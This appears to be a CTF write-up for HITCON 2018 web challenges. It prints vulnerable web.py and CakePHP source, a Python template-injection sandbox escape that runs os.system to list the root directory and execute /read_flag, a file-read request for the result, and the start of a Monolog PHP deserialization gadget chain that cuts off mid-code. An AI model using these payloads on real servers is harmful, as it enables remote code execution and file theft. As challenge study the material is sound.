Hitcon 2018 Web 题解

<a href="?s=8c762b8f22036dbbdda56facf732ffa71c3a372e4530241246449a55e25888cf98164f49a25f54a84ea0640e3adaf107cc67c8f2e688e8adf18895d89bfae58e33ae2e67609b509afb0e52f2f8b2145e">50 million Facebook accounts owned</a>

<a href="?s=4b596c43212b27b7c948390491293dd24f6f5f3b635ddb984c1c23f162d392ccf900061d8b6338771d8feb029243ed633882b1034e8789849136472bd93ffe2dfd8017786de53c1785a67bbbcecad1c78b096aa66c3ff957aaa3bb913d35c75f">Bypassing Web Cache Poisoning Countermeasures</a>

<a href="?s=b0b7a350f4a4f27848b204d056b25fb0f785e6357390b3bc73bbbbffc6bf5071b47143690fe718f21d8feb029243ed633882b1034e878984233b2d964a4138bbfe4bcb8834342001d2446e0f6d464355833f3b6c39beee1bfd5d3bce98966870">Bypassing WAFs and cracking XOR with Hackvertor</a>

# coding: UTF-8
import os
import web
import urllib
import urlparse
from Crypto.Cipher import DES

web.config.debug = False
ENCRPYTION_KEY = 'megnnaro'


urls = (
    '/', 'index'
)
app = web.application(urls, globals())
db = web.database(dbn='sqlite', db='db.db')


def encrypt(s):
    length = DES.block_size - (len(s) % DES.block_size)
    s = s + chr(length)*length

    cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
    return cipher.encrypt(s).encode('hex')

def decrypt(s):
    try:
        data = s.decode('hex')
        cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)

        data = cipher.decrypt(data)
        data = data[:-ord(data[-1])]
        return dict(urlparse.parse_qsl(data))
    except Exception as e:
        print e.message
        return {}

def get_posts(limit=None):
    records = []
    for i in db.select('posts', limit=limit, order='ups desc'):
        tmp = {
            'm': 'r', 
            't': i.title.encode('utf-8', 'ignore'), 
            'u': i.id, 
        } 
        tmp['param'] = encrypt(urllib.urlencode(tmp))
        tmp['ups'] = i.ups
        if i.file:
            tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))
        else:
            tmp['file'] = ''

        records.append( tmp )
    return records

def get_urls():
    urls = []
    for i in [10, 100, 1000]:
        data = {
            'm': 'p', 
            'l': i
        }
        urls.append( encrypt(urllib.urlencode(data)) )
    return urls

class index:
    def GET(self):
        s = web.input().get('s')
        if not s:
            return web.template.frender('templates/index.html')(get_posts(), get_urls())
        else:
            s = decrypt(s)
            method = s.get('m', '')
            if method and method not in list('rdp'):
                return 'param error'
            if method == 'r':
                uid = s.get('u')
                record = db.select('posts', where='id=$id', vars={'id': uid}).first()
                if record:
                    raise web.seeother(record.url)
                else:
                    return 'not found'
            elif method == 'd':
                file = s.get('f')
                if not os.path.exists(file):
                    return 'not found'
                name = os.path.basename(file)
                web.header('Content-Disposition', 'attachment; filename=%s' % name)
                web.header('Content-Type', 'application/pdf')
                with open(file, 'rb') as fp:
                    data = fp.read()
                return data
            elif method == 'p':
                limit = s.get('l')
                return web.template.frender('templates/index.html')(get_posts(limit), get_urls())
            else:
                return web.template.frender('templates/index.html')(get_posts(), get_urls())


if __name__ == "__main__":
    app.run()

def reparam(string_, dictionary):
    """
    Takes a string and a dictionary and interpolates the string
    using values from the dictionary. Returns an `SQLQuery` for the result.

        >>> reparam("s = $s", dict(s=True))
        <sql: "s = 't'">
        >>> reparam("s IN $s", dict(s=[1, 2]))
        <sql: 's IN (1, 2)'>
    """
    dictionary = dictionary.copy() # eval mucks with it
    vals = []
    result = []
    for live, chunk in _interpolate(string_):
        if live:
            v = eval(chunk, dictionary)
            result.append(sqlquote(v))
        else:
            result.append(chunk)
    return SQLQuery.join(result, '')

{'m':'p','l':'${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=="catch_warnings"][0]()._module.__builtins__):getthem["__import__"]("os").system("ls -al / > /tmp/1.txt"))()}'}

total 104
drwxr-xr-x  23 root root  4096 Oct 16 08:18 .
drwxr-xr-x  23 root root  4096 Oct 16 08:18 ..
drwxr-xr-x   2 root root  4096 Sep 12 15:59 bin
drwxr-xr-x   3 root root  4096 Oct 10 06:46 boot
drwxr-xr-x  15 root root  2980 Oct  8 18:13 dev
drwxr-xr-x  91 root root  4096 Oct 11 16:05 etc
-r--------   1 root root    47 Oct 16 08:15 flag
drwxr-xr-x   4 root root  4096 Oct 11 16:02 home
lrwxrwxrwx   1 root root    31 Oct 10 06:46 initrd.img -> boot/initrd.img-4.15.0-1023-aws
lrwxrwxrwx   1 root root    31 Sep 12 16:16 initrd.img.old -> boot/initrd.img-4.15.0-1021-aws
drwxr-xr-x  20 root root  4096 Oct 11 15:27 lib
drwxr-xr-x   2 root root  4096 Sep 12 15:56 lib64
drwx------   2 root root 16384 Sep 12 16:10 lost+found
drwxr-xr-x   2 root root  4096 Sep 12 15:55 media
drwxr-xr-x   2 root root  4096 Sep 12 15:55 mnt
drwxr-xr-x   2 root root  4096 Sep 12 15:55 opt
dr-xr-xr-x 127 root root     0 Oct  8 18:13 proc
-rwsr-sr-x   1 root root  8568 Oct 16 08:18 read_flag
drwx------   4 root root  4096 Oct 16 08:18 root
drwxr-xr-x  26 root root  1000 Oct 22 06:21 run
drwxr-xr-x   2 root root  4096 Oct 10 06:46 sbin
drwxr-xr-x   5 root root  4096 Oct  8 18:13 snap
drwxr-xr-x   2 root root  4096 Sep 12 15:55 srv
dr-xr-xr-x  13 root root     0 Oct 16 08:18 sys
drwxrwxrwt  12 root root  4096 Oct 22 09:33 tmp
drwxr-xr-x  10 root root  4096 Sep 12 15:55 usr
drwxr-xr-x  14 root root  4096 Oct 11 15:58 var
lrwxrwxrwx   1 root root    28 Oct 10 06:46 vmlinuz -> boot/vmlinuz-4.15.0-1023-aws
lrwxrwxrwx   1 root root    28 Sep 12 16:16 vmlinuz.old -> boot/vmlinuz-4.15.0-1021-aws

# exec
{'m':'p','l':'${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=="catch_warnings"][0]()._module.__builtins__):getthem["__import__"]("os").system("/read_flag / > /tmp/1.txt"))()}'}
# read flag
{'m':'d','f':'/tmp/1.txt'}

<?php

namespace App\Controller;
use Cake\Core\Configure;
use Cake\Http\Client;
use Cake\Http\Exception\ForbiddenException;
use Cake\Http\Exception\NotFoundException;
use Cake\View\Exception\MissingTemplateException;

class DymmyResponse {
    function __construct($headers, $body) {
        $this->headers = $headers;
        $this->body = $body;
    }
}

class PagesController extends AppController {

    private function httpclient($method, $url, $headers, $data) {
        $options = [
            'headers' => $headers, 
            'timeout' => 10
        ];

        $http = new Client();
        return $http->$method($url, $data, $options);
    }

    private function back() {
        return $this->render('pages');
    }

    private function _cache_dir($key){
        $ip = $this->request->getEnv('REMOTE_ADDR');
        $index = sprintf('mycache/%s/%s/', $ip, $key);
        return CACHE . $index;
    }

    private function cache_set($key, $response) {
        $cache_dir = $this->_cache_dir($key);
        if ( !file_exists($cache_dir) ) {
            mkdir($cache_dir, 0700, true);
            file_put_contents($cache_dir . "body.cache", $response->body);
            file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
        }
    }

    private function cache_get($key) {
        $cache_dir = $this->_cache_dir($key);
        if (file_exists($cache_dir)) {
            $body   = file_get_contents($cache_dir . "/body.cache");
            $headers = file_get_contents($cache_dir . "/headers.cache");

            $body = "<!-- from cache -->\n" . $body;
            $headers = unserialize($headers);
            return new DymmyResponse($headers, $body);
        } else {
            return null;
        }
    }

    public function display(...$path) {    
        $request  = $this->request;
        $data = $request->getQuery('data');
        $url  = $request->getQuery('url');
        if (strlen($url) == 0) 
            return $this->back();

        $scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
        if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
            return $this->back();

        $method = strtolower( $request->getMethod() );
        if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
            return $this->back();


        $headers = [];
        foreach ($request->getHeaders() as $key => $value) {
            if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
                continue;
            if (count($value) == 0)
                continue;

            $headers[$key] = $value[0];
        }

        $key = md5($url);
        if ($method == 'get') {
            $response = $this->cache_get($key);
            if (!$response) {
                $response = $this->httpclient($method, $url, $headers, null);
                $this->cache_set($key, $response);                
            }
        } else {
            $response = $this->httpclient($method, $url, $headers, $data);
        }

        foreach ($response->headers as $key => $value) {
            if (strtolower($key) == 'content-type') {
                $this->response->type(array('type' => $value));
                $this->response->type('type');
                continue;
            }
            $this->response->withHeader($key, $value);
        }

        $this->response->body($response->body);
        return $this->response;
    }
}

if ($method == 'get') {
    $response = $this->cache_get($key);
    if (!$response) {
        $response = $this->httpclient($method, $url, $headers, null);
        $this->cache_set($key, $response);                
    }
} else {
    $response = $this->httpclient($method, $url, $headers, $data);
}

public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
    $this->validateMethod($method);
    $this->method = $method;
    $this->uri = $this->createUri($url);
    $headers += [
        'Connection' => 'close',
        'User-Agent' => 'CakePHP'
    ];
    $this->addHeaders($headers);
    $this->body($data);
}
...
public function body($body = null)
{
    if ($body === null) {
        $body = $this->getBody();

        return $body ? $body->__toString() : '';
    }
    if (is_array($body)) {
        $formData = new FormData();
        $formData->addMany($body);
        $this->header('Content-Type', $formData->contentType());
        $body = (string)$formData;
    }
    $stream = new Stream('php://memory', 'rw');
    $stream->write($body);
    $this->stream = $stream;

    return $this;
}

public function add($name, $value = null)
{
    if (is_array($value)) {
        $this->addRecursive($name, $value);
    } elseif (is_resource($value)) {
        $this->addFile($name, $value);
    } elseif (is_string($value) && strlen($value) && $value[0] === '@') {
        trigger_error(
            'Using the @ syntax for file uploads is not safe and is deprecated. ' .
            'Instead you should use file handles.',
            E_USER_DEPRECATED
        );
        $this->addFile($name, $value);
    } elseif ($name instanceof FormDataPart && $value === null) {
        $this->_hasComplexPart = true;
        $this->_parts[] = $name;
    } else {
        $this->_parts[] = $this->newPart($name, $value);
    }

    return $this;
}

public function addFile($name, $value)
{
    $this->_hasFile = true;

    $filename = false;
    $contentType = 'application/octet-stream';
    if (is_resource($value)) {
        $content = stream_get_contents($value);
        if (stream_is_local($value)) {
            $finfo = new finfo(FILEINFO_MIME);
            $metadata = stream_get_meta_data($value);
            $contentType = $finfo->file($metadata['uri']);
            $filename = basename($metadata['uri']);
        }
    } else {
        $finfo = new finfo(FILEINFO_MIME);
        $value = substr($value, 1);
        $filename = basename($value);
        $content = file_get_contents($value);
        $contentType = $finfo->file($value);
    }
    $part = $this->newPart($name, $content);
    $part->type($contentType);
    if ($filename) {
        $part->filename($filename);
    }
    $this->add($part);

    return $part;
}

<?php

namespace Monolog\Handler
{
    class SyslogUdpHandler
    {
        protected $socket;
        function __construct($x)
        {
            $this->socket = $x;
        }
    }
    class BufferHandler
    {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;
        # ($record['level'] < $this->level) == false
        protected $level = null;
        protected $initialized = true;
        # ($this->bufferLimit > 0 && $